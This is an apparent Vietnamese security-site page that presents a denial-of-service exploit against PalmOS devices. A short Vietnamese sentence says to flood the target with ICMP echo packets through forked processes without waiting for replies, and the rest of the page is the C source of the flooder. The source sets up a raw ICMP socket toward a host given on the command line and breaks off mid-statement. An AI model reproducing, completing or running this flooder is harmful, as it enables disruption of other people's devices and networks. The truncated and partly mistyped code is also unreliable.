HCE-DoS PalmOS ICMP

DoS PalmOS ICMP

trang này đã được đọc lần

Để khai thác lỗi này, bạn cần liên tiếp gửi gói ICMP_ECHO, mà không chờ hồi âm (bằng fork()'s).

#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <netdb.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
int main(int argc, char *argv[]) {
       if(argc < 2) {
               printf("Usage: %s <host>\n", argv[0]);
               exit(0);
       }


       int sock;
       char packet[2000];
       struct sockaddr_in dest;
       struct hostent *host;
       struct iphdr *ip = (struct iphdr *) packet;
       struct icmphdr *icmp = (struct icmp *) packet
+ sizeof(struct iphdr);
       if((host = gethostbyname(argv[1])) == NULL) {
               printf("Couldn't resolve host!\n");
               exit(-1);
       }


       if((sock = socket(AF_INET, SOCK_RAW,
IPPROTO_ICMP))